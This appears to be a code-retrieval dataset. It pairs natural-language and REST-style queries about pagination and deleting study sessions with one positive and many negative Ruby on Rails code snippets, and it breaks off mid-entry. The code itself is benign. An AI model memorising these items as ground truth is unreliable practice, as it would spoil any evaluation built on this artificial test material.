query_id
stringlengths 32
32
| query
stringlengths 7
6.75k
| positive_passages
listlengths 1
1
| negative_passages
listlengths 88
101
|
---|---|---|---|
3d78fd016a172c6120e06a4d51febea6
|
Returns the current activepage on a perpage basis
|
[
{
"docid": "5c3b6b66223a7e4650c1f72b50e35493",
"score": "0.0",
"text": "def aboutusActive?(page_title)\n 'class=\"active\"' if page_title == \"About Us\"\n end",
"title": ""
}
] |
[
{
"docid": "725aaa08888ed9ea92034b39bd285200",
"score": "0.75204027",
"text": "def current_page\n params[:page] && params[:page].match(/\\d+/) ? params[:page].to_i : 1\n end",
"title": ""
},
{
"docid": "29117fed60d10a66e380638181390671",
"score": "0.7486905",
"text": "def current_page\n unless @page\n @page = params[:page].to_i\n @page = 1 unless @page\n @page = 1 if @page < 1\n end\n return @page\n end",
"title": ""
},
{
"docid": "892ef04f11e456657d6d663df0bf5ab5",
"score": "0.7342775",
"text": "def current_page\n [(params[:page] || @default_page || 1).to_i, 1].max # ensure positive integer\n end",
"title": ""
},
{
"docid": "1d5d7a29965e5ee2d0a1710ac1cef5af",
"score": "0.7325797",
"text": "def current_page\n return 1 if start < 1\n per_page_normalized = per_page < 1 ? 1 : per_page\n @current_page ||= (start / per_page_normalized).ceil + 1\n end",
"title": ""
},
{
"docid": "8282f3cb0938ffa55a5f21bb031a043b",
"score": "0.7295736",
"text": "def current_page\n @options[:page].blank? ? 1 : @options[:page].to_i\n end",
"title": ""
},
{
"docid": "7e84cc7f9938356989505cce206ce7f4",
"score": "0.7257026",
"text": "def current_page\n (params[:page].blank? ? 1 : params[:page]).to_i\n end",
"title": ""
},
{
"docid": "65178e5ca57c6dd5b5befea10c4c0928",
"score": "0.72458863",
"text": "def current_page\n @current_page ||= (params[:page] || 1).to_s.to_i.abs\n end",
"title": ""
},
{
"docid": "df6c2792209f4d0c971ed72a9291ec1b",
"score": "0.7182379",
"text": "def current_page\n self.page ||= 0\n self.page + 1\n end",
"title": ""
},
{
"docid": "46a34ed36379c6508409164d8a0996eb",
"score": "0.7149665",
"text": "def current_page\n [results.current_page, results.total_pages].min\n end",
"title": ""
},
{
"docid": "ea6137fe9951f7930fce14fce20ced43",
"score": "0.70236486",
"text": "def current_page\n params[:page]\n end",
"title": ""
},
{
"docid": "17e9dd22e7c724b4e6b4bbb55d71db54",
"score": "0.7004767",
"text": "def current_page\n @page\n end",
"title": ""
},
{
"docid": "b7ce6073a245e737cfd1f2f6960c4cb7",
"score": "0.6995798",
"text": "def current_page\n @current_page\n end",
"title": ""
},
{
"docid": "b5b0786ea18d537e65cb2fe434b15949",
"score": "0.69839656",
"text": "def current_page\n return 0 if current_limit.blank? || current_limit.zero?\n (current_offset / current_limit) + 1\n end",
"title": ""
},
{
"docid": "acc4e613a2438122ec5a11bb49a5f481",
"score": "0.68467546",
"text": "def current_page\n page_cursor.peek\n end",
"title": ""
},
{
"docid": "bc0243dda2b4093cdf354ccdbd0dbce8",
"score": "0.68172526",
"text": "def active_page(active_page)\n @active == active_page ? \"active\" : \"\"\n end",
"title": ""
},
{
"docid": "bc0243dda2b4093cdf354ccdbd0dbce8",
"score": "0.68172526",
"text": "def active_page(active_page)\n @active == active_page ? \"active\" : \"\"\n end",
"title": ""
},
{
"docid": "bc0243dda2b4093cdf354ccdbd0dbce8",
"score": "0.68172526",
"text": "def active_page(active_page)\n @active == active_page ? \"active\" : \"\"\n end",
"title": ""
},
{
"docid": "469cd5973f88e8a73902e6584ac61e6e",
"score": "0.6754544",
"text": "def first_in_page\n ((current_page - 1) * per_page) + 1\n end",
"title": ""
},
{
"docid": "cf9faf05eb74c3901bd641fff8677871",
"score": "0.6702262",
"text": "def current_page; end",
"title": ""
},
{
"docid": "cf9faf05eb74c3901bd641fff8677871",
"score": "0.6702262",
"text": "def current_page; end",
"title": ""
},
{
"docid": "b172bab74391670b48b235b1b59ed78f",
"score": "0.66924304",
"text": "def current_page\n @collection.current_page\n end",
"title": ""
},
{
"docid": "b172bab74391670b48b235b1b59ed78f",
"score": "0.66924304",
"text": "def current_page\n @collection.current_page\n end",
"title": ""
},
{
"docid": "5dd1f753412b9f41b6645878b53f5681",
"score": "0.6682382",
"text": "def current_page\n response[\"current_page\"]\n end",
"title": ""
},
{
"docid": "9af2be5d35de4e636cd37eb5a1373716",
"score": "0.66696006",
"text": "def active_in_page(path)\n \"active\" if current_page?(path)\n end",
"title": ""
},
{
"docid": "ddc89f03f4137c1645c8b5f991536c8e",
"score": "0.6649575",
"text": "def current_page\n collection.current_page\n end",
"title": ""
},
{
"docid": "6b6d75ee8bc038b2ee638b59acbc08fe",
"score": "0.66356415",
"text": "def current_per_page\n (@response.rows if @response and @response.rows > 0) || params.fetch(:per_page, default_per_page).to_i\n end",
"title": ""
},
{
"docid": "e96494b6b0e9f00294918b1e5174b92c",
"score": "0.661464",
"text": "def page\n if !@page || @page < 1\n 1\n elsif @page > total_pages\n total_pages\n else\n @page\n end\n end",
"title": ""
},
{
"docid": "a43500e59b78929c00a0a5cf3bb613d2",
"score": "0.6603643",
"text": "def show_current_page\n if params[:eds_action].present?\n if params[:eds_action].scan(/GoToPage/).length > 0\n pagenum = params[:eds_action].to_s\n newpagenum = pagenum.gsub(\"GoToPage(\", \"\")\n newpagenum = newpagenum.gsub(\")\", \"\")\n return newpagenum.to_i\n elsif params[:eds_action].scan(/SetResultsPerPage/).length > 0\n if params[:pagenumber].present?\n return params[:pagenumber].to_i\n else\n return 1\n end\n else\n return 1\n end\n end\n if params[:pagenumber].present?\n return params[:pagenumber].to_i\n end\n return 1\n end",
"title": ""
},
{
"docid": "0bc6c4f41f18a1506456acc3600000ee",
"score": "0.658714",
"text": "def current\n pages.current\n end",
"title": ""
},
{
"docid": "ec64cdcd27648df71c53212f9896a6f5",
"score": "0.65297467",
"text": "def per_page\n if !@per_page || @per_page < 1\n default_per_page\n elsif @per_page > max_per_page\n max_per_page\n else\n @per_page\n end\n end",
"title": ""
},
{
"docid": "f0852a264afeb26caf0fcf50ab77226e",
"score": "0.65286684",
"text": "def current_page\n return unless response.headers['PaginationCurrentPage']\n response.headers['PaginationCurrentPage'].to_i\n end",
"title": ""
},
{
"docid": "f1f32ee24f2728423695e05606b6f66f",
"score": "0.6519738",
"text": "def current_page\n first(@raw_page['records'].size)\n end",
"title": ""
},
{
"docid": "6c1b39803fe4ef2fa7d27a709626c54a",
"score": "0.65187496",
"text": "def page\n # extract :page from defaults? no need using default page?\n @params[:page].to_i > 0 ? @params[:page] : @cfg[:default][:page]\n end",
"title": ""
},
{
"docid": "a849d850aedb17372d6e4842f58b4f13",
"score": "0.6486604",
"text": "def page\n _page = params[:page].to_i\n return (_page == 0) ? 1 : _page\n end",
"title": ""
},
{
"docid": "c1260c12fa8999f24dddcb953cc94224",
"score": "0.648498",
"text": "def current_page\n per_page.zero? ? 0 : (@solr_data[:start].to_i / per_page) + 1\n end",
"title": ""
},
{
"docid": "49f292e1dedfd6ca6f1a0fb9efdbb860",
"score": "0.6479971",
"text": "def current_page( page = nil )\n @current_page = page if page.present?\n @current_page\nend",
"title": ""
},
{
"docid": "06dc131fe9299bfe622b15b8b61005c6",
"score": "0.64250565",
"text": "def page\n [[params[:page].to_i, 1].max, total_pages].min\n end",
"title": ""
},
{
"docid": "849515379c7b2ac2018acc5ec0b31f12",
"score": "0.63601947",
"text": "def page\r\n @page || 1\r\n end",
"title": ""
},
{
"docid": "86382e32bb9641cdc17c0d57e3f80e89",
"score": "0.63338",
"text": "def page_url\n page_value = @current_page == 1 ? 0 : @current_page\n \"#{URL}?page=#{page_value}\"\n end",
"title": ""
},
{
"docid": "2f5e364293b4be9b622ce85a133438a4",
"score": "0.6331314",
"text": "def selected_page; @pages[index]; end",
"title": ""
},
{
"docid": "a9a763aa6f13b5c8b4eb34f1e3fd6831",
"score": "0.63274467",
"text": "def page\n params[:iDisplayStart].to_i / per_page + 1\n end",
"title": ""
},
{
"docid": "3d4772dc98425962454cab450c755340",
"score": "0.6326513",
"text": "def page\n @request.params[:page] ? @request.params[:page].to_i : 1\n end",
"title": ""
},
{
"docid": "bb42d97596c3b1afb5715abd2983cf43",
"score": "0.6298188",
"text": "def set_current_page\n @current_page = params[:page] || 1\n end",
"title": ""
},
{
"docid": "96361d9e2fb707c4ea3284bd4f5e8745",
"score": "0.6292321",
"text": "def page\n @page ||= params[:page] || 1\n end",
"title": ""
},
{
"docid": "8a55ab938cc65072a0562632a34d5df5",
"score": "0.6291696",
"text": "def __page\n @_page || 1\n end",
"title": ""
},
{
"docid": "fd001c33c54d70c74283c8cc9043fb5f",
"score": "0.62844",
"text": "def page\r\n\t\t\t\tparams[:page].to_i || 1\r\n\t\t\tend",
"title": ""
},
{
"docid": "ec60f9c1eb511128b9ba4fa7d0838f58",
"score": "0.62839633",
"text": "def page_current_class_cards\n cards = Card.with_class(@current_class)\n page_num = params[:prev] ? last_page_num(cards) : params[:page]\n cards.page(page_num).per_page(8)\n end",
"title": ""
},
{
"docid": "0b4efb74b915244fb5ccc232c2dbb2b1",
"score": "0.62750924",
"text": "def per_page\n @per_page ||= @@default_per_page\n end",
"title": ""
},
{
"docid": "f4a9b3da72c302c62ee36755d8293944",
"score": "0.626266",
"text": "def current_page_number\n @pageset.size\n end",
"title": ""
},
{
"docid": "4baa86f63f93e90d6337a3632cbeb480",
"score": "0.6255216",
"text": "def last_in_page\n return total if current_page == total_pages\n\n current_page * per_page\n end",
"title": ""
},
{
"docid": "357a5fae608e0c7e020a98afe3bbb35c",
"score": "0.6246495",
"text": "def active_page\n stack(:__cms_active_page).first || original_content\n end",
"title": ""
},
{
"docid": "90584271a189ac2cc7a72298a5d29a80",
"score": "0.6237475",
"text": "def page\n\t\tparams[:iDisplayStart].to_i/per_page + 1\n\tend",
"title": ""
},
{
"docid": "d67516694bcdb9b29c07d190fed06f0e",
"score": "0.6210626",
"text": "def per_page\n @@per_page rescue nil\n end",
"title": ""
},
{
"docid": "b4e68191e48cea54c64b88cf0ff687c3",
"score": "0.62084335",
"text": "def page\n @page ||= Page.new(order_by: order_by, per_page: params[:per_page])\n end",
"title": ""
},
{
"docid": "a01a19d28cadff89190411e773bee12f",
"score": "0.6198832",
"text": "def per_page\n per_page = (@per_page || default_per_page).to_i\n per_page = default_per_page if per_page < 1 # Fixes per_page like -1 and 0.\n per_page\n end",
"title": ""
},
{
"docid": "90adb35a2a85404aab4ad500fa936012",
"score": "0.6186677",
"text": "def per_page\n self[:per_page] || App.per_page[:default]\n end",
"title": ""
},
{
"docid": "45c21173e222e48045e4df0a623992b6",
"score": "0.61621076",
"text": "def current_start_index\n @current_page * @entries_per_page \n end",
"title": ""
},
{
"docid": "5cbfbb34c3f6b85ca80e54761d327d97",
"score": "0.614539",
"text": "def get_page\n case page = params[:page].to_i\n when 0; 1\n when (1..POST_PAGES); page\n else POST_PAGES\n end\n end",
"title": ""
},
{
"docid": "5a7b6690feb7b4be0211a5d96c1a7bb6",
"score": "0.61254144",
"text": "def page\n params[:iDisplayStart].to_i/per_page + 1\n end",
"title": ""
},
{
"docid": "da098a22b166897754bf6470b8e5b636",
"score": "0.6122016",
"text": "def is_page_active(page)\n current_page.url == page\n end",
"title": ""
},
{
"docid": "f1f54ddd22ef2a4002a045bdb84d1a79",
"score": "0.6117049",
"text": "def current_page_number\n (previous_page_number.to_i + 1).to_s\n end",
"title": ""
},
{
"docid": "169e0846d437800261fdbfdca4e93104",
"score": "0.60909176",
"text": "def offset\n (current_page - 1) * per_page\n end",
"title": ""
},
{
"docid": "058e1364f71f56329d8b4365c9b2981d",
"score": "0.6085912",
"text": "def current_page?(page)\n @current_page == page\n end",
"title": ""
},
{
"docid": "d43b4254ea381efd7f7380f890e76648",
"score": "0.6070998",
"text": "def activepage?(path)\n \t\t\"active\" if current_page?(path)\n \tend",
"title": ""
},
{
"docid": "88a99a06ca09034c9acb19e947f37b67",
"score": "0.6062995",
"text": "def offset\n (current_page - 1) * per_page\n end",
"title": ""
},
{
"docid": "88a99a06ca09034c9acb19e947f37b67",
"score": "0.6062995",
"text": "def offset\n (current_page - 1) * per_page\n end",
"title": ""
},
{
"docid": "88a99a06ca09034c9acb19e947f37b67",
"score": "0.6062995",
"text": "def offset\n (current_page - 1) * per_page\n end",
"title": ""
},
{
"docid": "dcd3b289f0c7eded70e0e1ea4d847dcc",
"score": "0.60583067",
"text": "def is_active?(current_page)\n return \"is-active is-primary\" if params[:controller] == current_page.to_s\n end",
"title": ""
},
{
"docid": "545eb55ff682d4ab94a9b67c18e04610",
"score": "0.6042825",
"text": "def page\n Integer(params[:page] || 1)\n end",
"title": ""
},
{
"docid": "9a90a6e2935aaa3fdab0cd6f8b7f76d2",
"score": "0.6033867",
"text": "def next_page\n current_page < page_count ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "9a90a6e2935aaa3fdab0cd6f8b7f76d2",
"score": "0.6033867",
"text": "def next_page\n current_page < page_count ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "4568707386fd15d6603d145463e31934",
"score": "0.60284036",
"text": "def offset\n (current_page - 1) * per_page\n end",
"title": ""
},
{
"docid": "f35649326a6c402faf459aa2f6df9105",
"score": "0.60255325",
"text": "def per_page\n @per_page ||= (params[:per_page] || parent.contents_per_page)\n end",
"title": ""
},
{
"docid": "8efd32e6edf56de5f689205adc9f34f6",
"score": "0.60210896",
"text": "def is_active?(current_page)\n return \"is-active\" if params[:controller] == current_page.to_s\n end",
"title": ""
},
{
"docid": "8c45a67729dc410089a92b6881e4e904",
"score": "0.6017535",
"text": "def next_page\n current_page < page_count ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "aeec2a59a97e3f98072d8560b1288293",
"score": "0.6012641",
"text": "def per_page\n pagination_adapter.per_page\n end",
"title": ""
},
{
"docid": "faed48bd64d6647abeb64c8224480c19",
"score": "0.60037875",
"text": "def per_page\n (params[:per_page] || 10).to_i\n end",
"title": ""
},
{
"docid": "9d1efe11ef146462ef7511c63c689c92",
"score": "0.6002658",
"text": "def paginator\n per_page = @ruhoh.db.config(\"paginator\")[\"per_page\"]\n current_page = master.context[\"page\"]['current_page'].to_i rescue 0\n current_page = current_page.zero? ? 1 : current_page\n offset = (current_page-1)*per_page\n\n page_batch = all[offset, per_page]\n raise \"Page does not exist\" unless page_batch\n page_batch\n end",
"title": ""
},
{
"docid": "f9fee66778f01d1414aa4b27c2b39b2b",
"score": "0.5988958",
"text": "def per_page\n @per_page ||= params[:per_page] || (model_class.respond_to?(:per_page) && model_class.per_page) || self.class.per_page\n end",
"title": ""
},
{
"docid": "8f113daad2cf3a28fe4b56003fbcd556",
"score": "0.5961355",
"text": "def active_bytes\n active * pagesize\n end",
"title": ""
},
{
"docid": "ea1468d2eaab816d24e5820f489c3720",
"score": "0.59522486",
"text": "def extract_current_page(options)\n Api::Sanitize.page(options[:current_page] || options[:page])\n end",
"title": ""
},
{
"docid": "c565283bf5d68a4fae6752ca3a3e77c5",
"score": "0.5947563",
"text": "def PageNo()\n\t\t#Get current page number\n\t\treturn @page;\n\tend",
"title": ""
},
{
"docid": "7c90969eefb12dbed8662d5770440e3c",
"score": "0.5922349",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "7c90969eefb12dbed8662d5770440e3c",
"score": "0.5922349",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "d9b3a1eec2949c1131ef62fb82913944",
"score": "0.5918473",
"text": "def active_class(rendered_page, current_page)\n if rendered_page[:shortname] == current_page[:shortname]\n return 'active'\n elsif (current_page.page_type == \"country\" && !current_page.parent.nil? && rendered_page[:shortname] == current_page.parent[:shortname])\n return 'active'\n end\n return '' \n end",
"title": ""
},
{
"docid": "4497a9dd887f08a63be4bd4826670b65",
"score": "0.59137607",
"text": "def active? path \n \"active\" if current_page? path\n end",
"title": ""
},
{
"docid": "76d3655f914e311825501266ff9c96a5",
"score": "0.59091157",
"text": "def max_page(per_page = 10)\n count_hint / per_page + (count_hint % per_page == 0 ? 0 : 1)\n end",
"title": ""
},
{
"docid": "8ea60110e4f324ffa74c6564fe1346c1",
"score": "0.58985263",
"text": "def selected_page\n end",
"title": ""
},
{
"docid": "5f128a9c923706c3d0bd5bf73e0be275",
"score": "0.58934367",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "5f128a9c923706c3d0bd5bf73e0be275",
"score": "0.589339",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "5f128a9c923706c3d0bd5bf73e0be275",
"score": "0.589339",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "5f128a9c923706c3d0bd5bf73e0be275",
"score": "0.589339",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "2119e7e620623fe2cdc5b8929af20494",
"score": "0.5893121",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "2119e7e620623fe2cdc5b8929af20494",
"score": "0.5893121",
"text": "def next_page\n current_page < total_pages ? (current_page + 1) : nil\n end",
"title": ""
},
{
"docid": "bdea4dbf223e0d77ad6bf2d521526768",
"score": "0.5888348",
"text": "def next_page\n current_page + 1 unless last_page? || out_of_range?\n end",
"title": ""
},
{
"docid": "b78e00b77fc27aa57e69c0083234eee0",
"score": "0.58872235",
"text": "def pagination_page\n @pagination_page\n end",
"title": ""
},
{
"docid": "0fa4668ada2e20c95f7c4127609198eb",
"score": "0.5883931",
"text": "def current_page=(page)\n p = page.to_i\n @current_page = session[:\"#{controller_name}_current_page\"] = (p.zero? ? 1 : p)\n end",
"title": ""
},
{
"docid": "e1155c740467c7e69de83c58ea3bf88c",
"score": "0.588024",
"text": "def first_page\n return nil if total_pages < 1\n return 1\n end",
"title": ""
},
{
"docid": "10abdbf3bdf7ffe78668be3e86616857",
"score": "0.5874992",
"text": "def current?(page)\n @current == page\n end",
"title": ""
},
{
"docid": "6565fd2886d885e522c99fdae865473a",
"score": "0.58707285",
"text": "def next_page\n @current_page + 1 if has_next_page?\n end",
"title": ""
},
{
"docid": "e7e6bdc2ac1114aab78b8b31f8162bd5",
"score": "0.5866112",
"text": "def next_page\n @current_page < num_pages ? (@current_page + 1): nil\n end",
"title": ""
}
] |
5965e6bd867943148294d971291cf763
|
DELETE /study_sessions/1 DELETE /study_sessions/1.json
|
[
{
"docid": "0768e7ff53e0b1fc2f3abaa8135373db",
"score": "0.74485284",
"text": "def destroy\n @study_session.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'study_session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
}
] |
[
{
"docid": "94f7544e0a439eda0632172ad25902c5",
"score": "0.7724551",
"text": "def destroy\n @studysession.destroy\n respond_to do |format|\n format.html { redirect_to studysessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7eff1596ea3a96c00c6518beb060132a",
"score": "0.7485697",
"text": "def destroy\n @study_session.destroy\n respond_to do |format|\n format.html { redirect_to study_sessions_url, notice: 'Study session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e202d52a3fabaaeb024bc39db4d04851",
"score": "0.7379169",
"text": "def destroy\n @study_session = StudySession.find(params[:id])\n @study_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(study_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "e202d52a3fabaaeb024bc39db4d04851",
"score": "0.7379169",
"text": "def destroy\n @study_session = StudySession.find(params[:id])\n @study_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(study_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "dc1c261633176b0d4247018c669b8fa8",
"score": "0.7289543",
"text": "def destroy\n @experiment_session = ExperimentSession.find(params[:id])\n @experiment_session.destroy\n\n respond_to do |format|\n format.html { redirect_to experiment_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "f45ccb96098679253fa06ca891c37e82",
"score": "0.71828794",
"text": "def destroy\n @study_session.destroy\n respond_to do |format|\n format.html { redirect_to room_url(@room) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b0f7eca3b75a88e46f6c07dcfb1df721",
"score": "0.71476865",
"text": "def destroy\n @my_studio_session = MyStudio::Session.find(params[:id])\n @my_studio_session.destroy\n\n respond_to do |format|\n format.html { redirect_to my_studio_sessions_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "2579a8f9a8b655d9d29770fc3a9148db",
"score": "0.7116766",
"text": "def destroy\n @questions_study_session.destroy\n respond_to do |format|\n format.html { redirect_to questions_study_sessions_url, notice: 'Questions study session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8495e13e2969defcd2ce872f0103cb12",
"score": "0.70995",
"text": "def destroy\n @session = @client.sessions.find(params[:id])\n @session.destroy\n respond_to do |format|\n format.html { redirect_to client_url(@client), notice: 'Session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d1573d7eb5ad279e2f039811bff5d165",
"score": "0.70968175",
"text": "def destroy\n @learn_session.destroy\n respond_to do |format|\n format.html { redirect_to learn_sessions_url, notice: t('learnSession_delete') }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "19fb19f2a80321eec178c2d2a7d28b56",
"score": "0.7076632",
"text": "def destroy\n @study_session.destroy\n respond_to do |format|\n format.html { redirect_to [@school,@course,@subject,@exam,@study_session], notice: 'Study session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8cb11fbd77ef6ee0f00008f6af7209f5",
"score": "0.7062513",
"text": "def destroy\n @exercise_session = ExerciseSession.find(params[:id])\n @exercise_session.destroy\n\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "dec411b10f9cd439f2f432480e8dd301",
"score": "0.7037374",
"text": "def destroy\n @user_study_session.destroy\n respond_to do |format|\n format.html { redirect_to users_tenant_study_session_url(id: @user_study_session.study_session_id,\n tenant_id: @user_study_session.study_session.tenant_id),\n notice: 'User was successfully removed from the study_session' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a9e8fab2cb8e31172af9df9b0eebc0d7",
"score": "0.7012253",
"text": "def destroy\n @test_session.destroy\n respond_to do |format|\n format.html { redirect_to test_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ab0d13ef0c04a8f91aca38303d1a94d6",
"score": "0.6956315",
"text": "def destroy\n @interview_session = InterviewSession.find(params[:id])\n @interview_session.destroy\n\n respond_to do |format|\n format.html { redirect_to interview_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d55139144ac5dba02aab7066603890f1",
"score": "0.69381535",
"text": "def destroy\n @exercise_session.destroy\n respond_to do |format|\n format.html { redirect_to exercise_sessions_url, notice: 'Exercise session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d2360f9dca5bc6595e20667126babc5d",
"score": "0.68885124",
"text": "def destroy\n @user_personal_test_session = UserPersonalTestSession.find(params[:id])\n @user_personal_test_session.destroy\n\n respond_to do |format|\n format.html { redirect_to user_personal_test_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2985d8c0c8239ad68b9168045c3eb817",
"score": "0.6873301",
"text": "def destroy\n @exercise_session = ExerciseSession.find(params[:id])\n @exercise_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(exercise_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "19437e53bf9a4b0fd25f18a431100b17",
"score": "0.6830866",
"text": "def destroy_rest\n @instrument_session = InstrumentSession.find(params[:id])\n @instrument_session.destroy\n\n respond_to do |format|\n format.html { redirect_to(instrument_sessions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "db4123b54eef63306974799f04f4279c",
"score": "0.682668",
"text": "def deleteSession\n destroy\n @team = Team.find(session[:team_id])\n sessions = @team.sessions.last(5).reverse\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json {render json: sessions}\n end\n end",
"title": ""
},
{
"docid": "3be8fc2b7feccc88103ced4d7280f1d4",
"score": "0.6807064",
"text": "def destroy\n @study.destroy\n respond_to do |format|\n format.html { redirect_to studies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3be8fc2b7feccc88103ced4d7280f1d4",
"score": "0.6807064",
"text": "def destroy\n @study.destroy\n respond_to do |format|\n format.html { redirect_to studies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "15a4438023e1ed2e39884e13d5c9911d",
"score": "0.678544",
"text": "def delete_session_request\n #Net::HTTP::Delete.new(@uri + \"/session/#{@session_key}\")\n end",
"title": ""
},
{
"docid": "4817ee133904703ad0d703c6c8a7919b",
"score": "0.67763823",
"text": "def destroy\n @session = Session.find(params[:id])\n @session.destroy\n\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "45e3f3ea4dd5d8d11e802668ab351792",
"score": "0.67649525",
"text": "def destroy\n @linestudy.destroy\n respond_to do |format|\n format.html { redirect_to linestudies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "2f44cfc096ddd582ff65ab0d928ac2c3",
"score": "0.6762038",
"text": "def destroy\n @study = Study.find(params[:id])\n @study.hits.destroy_all\n @study.history_studies.destroy_all\n @study.destroy\n\n respond_to do |format|\n format.html { redirect_to studies_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aa7621ca0d62e5d34472e35213869bc1",
"score": "0.67589504",
"text": "def destroy\n @session = Session.find(params[:id])\n @session.destroy\n\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aa7621ca0d62e5d34472e35213869bc1",
"score": "0.67589504",
"text": "def destroy\n @session = Session.find(params[:id])\n @session.destroy\n\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aa7621ca0d62e5d34472e35213869bc1",
"score": "0.67589504",
"text": "def destroy\n @session = Session.find(params[:id])\n @session.destroy\n\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aa7621ca0d62e5d34472e35213869bc1",
"score": "0.67589504",
"text": "def destroy\n @session = Session.find(params[:id])\n @session.destroy\n\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "aa7621ca0d62e5d34472e35213869bc1",
"score": "0.67589504",
"text": "def destroy\n @session = Session.find(params[:id])\n @session.destroy\n\n respond_to do |format|\n format.html { redirect_to sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5600913b9f556a43cb86e5674b3c2ca5",
"score": "0.6748229",
"text": "def delete_session(req, sid, options); end",
"title": ""
},
{
"docid": "5600913b9f556a43cb86e5674b3c2ca5",
"score": "0.6748229",
"text": "def delete_session(req, sid, options); end",
"title": ""
},
{
"docid": "41ff5f0b4c6c86cb4f00ae886fafd732",
"score": "0.6743078",
"text": "def destroy\n @study_log.destroy\n respond_to do |format|\n format.html { redirect_to study_logs_url, notice: 'Study log was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4d06fda52d25b6599d3c855b023938f0",
"score": "0.67299706",
"text": "def destroy\n @study_path.destroy\n respond_to do |format|\n format.html { redirect_to study_paths_url, notice: 'Study path was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4cf4f296c8c8f94dfc70abb1baf80518",
"score": "0.6721785",
"text": "def delete_sessions()\n path = '/account/sessions'\n\n params = {\n }\n \n headers = {\n \"content-type\": 'application/json',\n }\n\n @client.call(\n method: 'DELETE',\n path: path,\n headers: headers,\n params: params,\n )\n end",
"title": ""
},
{
"docid": "70e6522e1fb5c64ed67d2a2f4a749b16",
"score": "0.6721391",
"text": "def destroy\n @examination_session.destroy\n respond_to do |format|\n format.html { redirect_to examination_sessions_url, notice: 'Examination session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7ed472dfd1e74471c6f536f1f0c2674b",
"score": "0.671741",
"text": "def destroy\n @sessionlog.destroy\n respond_to do |format|\n format.html { redirect_to sessionlogs_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9ed72a48e14aee3688bdda4a3f3f31f8",
"score": "0.6715826",
"text": "def destroy\n @session.destroy\n respond_to do |format|\n format.html { redirect_to workout_sessions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "9a646ce3347233f387b25894c63ab8ba",
"score": "0.67101175",
"text": "def destroy\n @regimen_study.destroy\n respond_to do |format|\n format.html { redirect_to regimen_studies_url}\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "3bd930324846b3bbf94f1260011e374d",
"score": "0.66913295",
"text": "def destroy\n @scrape_session.destroy\n respond_to do |format|\n format.html { redirect_to scrape_sessions_url, notice: 'Scrape session was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b1a17c1ee1af05c79fe156622df44818",
"score": "0.6654161",
"text": "def delete(path)\n begin\n response = client[path].delete :accept => 'application/json'\n rescue Exception => e\n puts e.inspect\n end\n end",
"title": ""
},
{
